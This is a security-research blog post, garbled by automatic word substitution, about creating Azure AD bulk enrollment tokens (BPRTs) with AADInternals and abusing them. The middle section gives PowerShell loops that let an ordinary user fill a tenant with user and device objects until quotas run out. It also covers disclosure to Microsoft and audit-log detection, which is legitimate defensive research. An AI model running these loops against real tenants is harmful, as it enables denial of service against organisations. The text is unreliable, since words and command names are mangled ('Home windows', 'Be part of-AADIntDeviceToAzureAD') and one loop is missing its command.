Becoming a member of a number of units to Azure AD and Intune

In October 2020, somebody contacted me and requested whether or not it might be doable
to create BPRTs utilizing AADInternals. I hadn’t even heard of BPRTs, however was finally capable of assist him to create BPRTs. Now this
performance is included in AADInternals v0.4.5.

On this weblog, I’ll clarify what BPRTs are and the way they can be utilized to affix a number of units to each Azure AD and Intune.
I’ll additionally present the darkish aspect of BPRTs: how they can be utilized to conduct DOS assaults in opposition to Azure AD, and the way to detect and stop this.

BPRT token is a Bulk Main Refresh Token, generally additionally known as “Bulk AAD Token”, which is used to enroll a number of units to Azure AD and Microsoft Endpoint Supervisor (Intune).

In response to Microsoft’s bulk system enrollment documentation:

As an administrator, you may be a part of giant numbers of recent Home windows units to Azure Lively Listing and Intune. To bulk enroll units on your Azure AD tenant, you create a provisioning bundle with the Home windows Configuration Designer (WCD) app.

This means that with a view to create BPRTs, one ought to be an administrator. Nonetheless, the documentation additionally states the next (added after my report in January 2021):

Making a provisioning bundle doesn’t require any administrator roles in your Azure AD tenant.

Home windows Configuration Designer (WCD)

Lets see how the BPRT is created with an official Microsoft instrument, Home windows Configuration Designer (WCD), which might be put in from Microsoft Retailer.

First, create a brand new provisioning bundle:

Second, go to Account administration, choose Enroll in Azure AD and click on Get Bulk Token:

After clicking the button, consumer is prompted for credentials. If the WCD will not be used earlier, an app consent is introduced:

The standing line is proven after the BPRT is fetched. I additionally observed that the default consumer identify for an additional native admin account is “ScottLock” ?

To see the token, click on Swap to superior editor

Develop Runtime settings > Accounts > Azure and click on BPRT. The token can now be copied (or changed with the one created with AADInternals).

Now the created provisioning bundle can be utilized to affix units robotically to Azure AD.

AADInternals

Now that we all know the way to create BPRT token “correctly”, subsequent step is to be taught what occurs on the background.

Step one is the authentication and authorisation. The entry token was fetched utilizing the shopper id of Home windows Configuration Designer and had the next content material (solely related data proven):

aud   : urn:ms-drs:enterpriseregistration.home windows.web
appid : de0853a1-ab20-47bd-990b-71ad5077ac7b
scp   : self_service_device_delete

After testing, I used to be capable of affirm that the registration was not certain to WCD shopper id. Which means that different shopper ids, similar to AAD Graph, could possibly be used so long as the useful resource (viewers) is appropriate.
The viewers refers to System Registration Service (DRS).

Subsequent, a http put up was made to:

https://login.microsoftonline.com/webapp/bulkaadjtoken/start

The despatched payload was the next:

{
    "pid": "6d762967-8f0f-40cb-8031-1726eb261259",
    "identify": "package_6d762967-8f0f-40cb-8031-1726eb261259",
    "exp": "03/1/2021"
}

The used parameters are as follows:

As a response, a circulation token (redacted) and standing have been returned:

{
    "flowToken": "AQABAAEAAAD..",
    "state": "Began",
    "resultData": null
}

After this, a http get request was made utilizing the flowToken from the response as a question parameter:

https://login.microsoftonline.com/webapp/bulkaadjtoken/ballot?flowToken=AQABAAEAAAD..

As a response, the BPRT was returned in resultData:

{
    "flowToken": null,
    "state": "CompleteSuccess",
    "resultData": "{"token_type":"Bearer", ...}"
}

The resultData accommodates id token and refresh token for the ensuing consumer. The refresh token is the precise BPRT:

{
    "token_type": "Bearer",
    "expires_in": "2393336",
    "ext_expires_in": "0",
    "expires_on": "1614556799",
    "refresh_token": "0.AAAAxkwDR.AgABAAAAAAD...",
    "refresh_token_expires_in": 2393336,
    "id_token": "eyJ0e..."
}

Now what is that this “ensuing consumer” talked about above chances are you’ll suppose. Nicely, because it seems, making a BPRT creates a consumer object to Azure AD!
The upn of the consumer will all the time be “package_<pid>@<default area>” however the show identify might be freely chosen.

AADInternals have had a operate for creating the BPRT since v0.4.5:

# Get the entry token

Get-AADIntAccessTokenForAADGraph -Useful resource urn:ms-drs:enterpriseregistration.home windows.web -SaveToCache

# Create a brand new BPRT

$bprt = New-AADIntBulkPRTToken -Title "My BPRT consumer"

Output:

BPRT saved to package_8eb8b873-2b6a-4d55-bd96-27b0abadec6a-BPRT.json

Word! In case you bought an error “AADSTS240001: Person will not be approved to register units in Azure AD.“, there might be two causes for this.
First is that the consumer doesn’t have rights to register units. Another excuse is, that WCD app has not been given consent.
The admin consent might be given utilizing the next hyperlink: https://login.microsoftonline.com/widespread/adminConsent?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&redirect_uri=https://portal.azure.com/TokenAuthorize
and the consumer consent with: https://login.microsoftonline.com/widespread/oauth2/authorize?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&response_type=code.
After the admin consent is given, the browser might keep “loading” the web page as a result of redirect url the app is utilizing – that is okay and might be ignored.

Word! For the brand new tenants the consent for WCD app is required. For older tenants, this appears to not be case. Furthermore, eradicating the app/consent doesn’t take away the performance ?
Apparently, giving the consent to WCD app does one thing irreversible to the tenant.

Now that we all know that we are able to create BPRTs, the apparent query is what can we do with them? The primary utilization state of affairs is to create BPRTs programmatically, permitting automatisation of making provisioning packages.

One other state of affairs is to enroll units to Azure AD and Intune just like the Home windows units would after the provisioning bundle is utilized.

So what occurs when the system is enrolling to Azure AD and Intune with BPRT?

First, the system will get an entry token for Azure AD Be part of utilizing the BPRT. Fortunately, that is simply
a traditional circulation the place a brand new entry token is fetched utilizing BPRT as a refresh token. The one limitation appears to be that
with BPRT, entry tokens are solely offered for Azure AD Be part of and Intune MDM shopper ids.

With AADInternals, the BPRT can used to get entry token for AAD Be part of:

# Get the entry token for AAD Be part of utilizing BPRT

Get-AADIntAccessTokenForAADJoin -BPRT $BPRT -SaveToCache

And now we now have a working entry token and we are able to be a part of units to Azure AD and create PRTs as defined in my earlier weblog put up:

# Be part of the system to Azure AD

Be part of-AADIntDeviceToAzureAD -DeviceName "My laptop"

System efficiently registered to Azure AD:
  DisplayName:     "My laptop"
  DeviceId:        d03994c9-24f8-41ba-a156-1805998d6dc7
  Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
  Cert file identify : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Native SID:
  S-1-5-32-544
Extra SIDs:
  S-1-12-1-797902961-1250002609-2090226073-616445738
  S-1-12-1-3408697635-1121971140-3092833713-2344201430
  S-1-12-1-2007802275-1256657308-2098244751-2635987013

Equally, we are able to get an entry token for Intune with BPRT and Azure AD system certificates:

# Get the entry token for Intune utilizing BPRT and Azure AD system certificates

Get-AADIntAccessTokenForIntuneMDM -BPRT $BPRT -PfxFileName .d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache

And at last, we are able to enroll the system to Intune:

# Enroll the system to Intune

Be part of-AADIntDeviceToIntune -DeviceName "My laptop"

Intune shopper certificates efficiently created:
  Topic:         "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
  Issuer:          "CN=Microsoft Intune MDM System CA"
  Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
  Cert file identify:  "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
  CA file identify :   "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
  IntMedCA file :  "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"

As all the time, the largest query on this weblog is how we are able to abuse Azure AD with the issues we now have realized? Thus far, I’ve discovered two eventualities.

Fill Azure AD with customers

As we’ve realized, making a BPRT creates additionally a consumer object to Azure AD. We’ve additionally realized that making a BPRT doesn’t require any admin rights.
As per Microsoft documentation, a non-admin consumer can create not more than 250 objects to Azure AD.
Nonetheless, this restrict does NOT apply for BPRTs ☹

As such, in observe, which means that a regular consumer can create consumer objects till the Azure AD quota restrict is reached! ?‍

To show this, I used the next easy script to fill Azure AD with BPRTs:

# Get the entry token

Get-AADIntAccessTokenForAADGraph -Useful resource urn:ms-drs:enterpriseregistration.home windows.web -SaveToCache

# Create objects till quota reached

for($a = 1 ; $a -lt 50000 ; $a++)
{
    $identify = 'BPRT-{0:d5}' -f $a
    strive Out-Null
     catch{}
}

The throughput is simply 23 customers per minute, so I ultimately used a number of PowerShell classes to hurry issues up.

The next animation exhibits that after the quota is reached, no new customers might be added:

Fill Azure AD with units

As we’ve realized, the BPRT can be utilized be a part of units to Azure AD and Intune. Because the BPRT represents a consumer, it might be
honest to imagine that the identical limitations apply to these customers as nicely. Particularly, when the WCD mentiones that the default restrict is 20:

In my take a look at tenant, I had a 50 system restrict per consumer:

Guess what? Yep, that system restrict doesn’t apply for “BPRT customers” ☹

Once more, in observe, which means that a regular consumer can create system objects till the Azure AD quota restrict is reached! ?‍

To show this, I used the next easy script to fill Azure AD with units:

# Get the entry token

Get-AADIntAccessTokenForAADJoin -BPRT $bprt -SaveToCache

# Create units till quota reached

for($a = 1 ; $a -lt 50000 ; $a++)
{
    $identify = 'DEV-{0:d5}' -f $a
    strive{
        Be part of-AADIntDeviceToAzureAD -DeviceName $identify
    } catch{}
}

The throughput was a bit larger, about 90 customers per minute, however I nonetheless used a number of PowerShell classes to hurry issues up.

The next animation exhibits that after the quota is reached, no new customers might be added:

Naturally, all this made really feel very uncomfortable as a traditional non-admin consumer could make a Denial of Service (DOS) assault in opposition to their very own tenant. This, naturally, needed to be reported to Microsoft.

My preliminary report was following:

In accordance https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll an admin can create a bulk AAD token (BPRT), which can be utilized to enroll a number of units to Azure AD and Intune.

I observed, {that a} common consumer with none admin rights may create a BPRT. As such, they’ll add units with out quantity restrictions (if becoming a member of to AAD is allowed).

As I’m planning to publish a weblog put up and toolkit relating to to this, I’d prefer to know is that this anticipated habits?

Right here is the complete timeline of my correspondence with Microsoft on January 2021:

Reporting findings to MSRC was (once more) a really irritating expertise. As an example, the POC video was first considered after my THIRD put up: the primary video had 10 views and the second 4 views on Jan twentieth, however no
views between twentieth and twenty seventh. Nonetheless, AFTER receiving the anticipated “by design” response from MSRC, they’ve considered the movies an additional 20 instances.

It is usually attention-grabbing that the documentation was modified after my report, however the web page appears to be edited in November 2020, not January 2021 ?. The unique web page
might be seen to start with of the primary POC.

Sep 26 2022: As that is an outdated weblog put up, I wished so as to add that my expertise with MSRC has improved vastly since this weblog put up.
This can be a good reminder although that it’s not all the time simple to report back to distributors about one thing that’s clearly improper.
Having mentioned that, as of in the present day, this concern has nonetheless not been fastened.

Home windows Configuration Designer consent

First signal for BPRT abuse is consentint the WCD app. Word: This can be a traditional behaviour!

When the consent is given for the WCD app, an entry is created in Audit log. We have an interest within the exercise sort “Consent to software”
the place the goal is “Home windows Configuration Designer (WCD)”:

System Registration Service entry token

Second signal for BPRT abuse is getting the entry token for System Registration Service (DSR). The useful resource id of DSR is:

01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9

Within the “regular” course of the WCD software id is used:

de0853a1-ab20-47bd-990b-71ad5077ac7b

So, if the DSR entry token will not be fetched utilizing WCD shopper id, it’s possible an indication of abusive habits. As an example AADInternals is at present utilizing
Azure Lively Listing PowerShell shopper id. The next display screen shot from Signal-ins log exhibits an entry generated when entry token is fetched utilizing AADInternals (might be interactive or non-interactive):

Creating BPRTs

Third signal for BPRT abuse is the precise creation of BPRTs. This may be detected from the Audit log. Beneath is an instance of an Audit log entry the place the consumer created a BPRT.

Within the Exercise tab, we are able to see that the corresponding consumer is created by “Microsoft.Azure.SyncFabric” Service Principal, not the consumer.

Within the Modified Properties tab, we are able to see that the UPN of consumer creating the BPRT is added to OtherMail attribute of the ensuing consumer.
We are able to additionally see that the UserPrincipalName begins all the time with “package_” prefix.

BPRT creation can be noticed from Signal-ins log because the created consumer is logged in inside one to 2 seconds after it’s created utilizing
the next “AADJ CSP” shopper id and an empty Useful resource ID:

b90d5b8f-5503-4153-b545-b31cecfaece2

Utilizing BPRT to get entry tokens

Word: Utilizing BPRT will not be all the time rogue behaviour: it’s meant for becoming a member of a number of units!

The entry tokens fetched for AAD Be part of utilizing BPRT might be seen in Person sign-ins (non-interactive) tab of the Signal-ins log.
The used shopper id is once more “AADJ CSP” however now the useful resource is DSR:

Equally, the entry tokens fetched for Intune utilizing BPRT might be seen in Person sign-ins (non-interactive) tab of the Signal-ins log.
The used shopper id is once more “AADJ CSP” however now the useful resource is Microsoft Intune Enrollment:

d4ebce55-015a-49b5-a083-c84d1797ae8c

Enrolling units to Azure AD

Word: Utilizing BPRT will not be all the time rogue behaviour: it’s meant for becoming a member of a number of units!

When the system is joined to Azure AD, there are a number of occasions within the Audit log.
The occasion we’re concerned with is of sort “Add registered proprietor to system”. Within the Goal(s) tab we are able to see that the goal consumer’s UPN begins with
“package_” and thus is a BPRT consumer.

Enrolling units to Intune

Word: Utilizing BPRT will not be all the time rogue behaviour: it’s meant for becoming a member of a number of units!

When the system is succesfully joined to Intune, there may be one occasion within the Audit log.
The occasion we’re concerned with is of sort “Replace system” initiated by “Microsoft Intune”.
Within the Goal(s) tab we are able to see the ID of the system which matches the one seen above.
Within the Modified Properties tab we are able to see that the “IsManaged” property is ready to “true”:

One prequisite for creating BPRTs is that the Home windows Configuration Designer (WCD) app has been given a consent by an administrator.
Subsequently, it might be honest to imagine that eradicating the app would stop creating BPRTs. Nonetheless, primarily based on my observations, eradicating the WCD app
doesn’t stop creating BPRTs utilizing completely different shopper ids!

To my greatest data, solely strategy to stop creating BPRTs is to stop customers becoming a member of units to Azure AD:

BPRT tokens might be simply created with AADInternals with none administrator rights, offered that the consumer has rights to enroll units to Azure AD and that WCD app has been used earlier within the tenant.
This permits rogue customers to conduct DOS assaults in opposition to their tenant by filling Azure AD with consumer objects.

With a BPRT, an entry token might be fetched to affix units to Azure AD and Intune, offered that the BPRT consumer has rights to enroll units to Azure AD and Intune.
This permits rogue customers to conduct DOS assaults in opposition to their tenant by filling Azure AD with system objects, whatever the system quantity restrictions. All different restrictions, like Intune
system sort restrictions are nonetheless utilized.

Solely strategy to stop creating BPRTs is to stop customers becoming a member of units to Azure AD!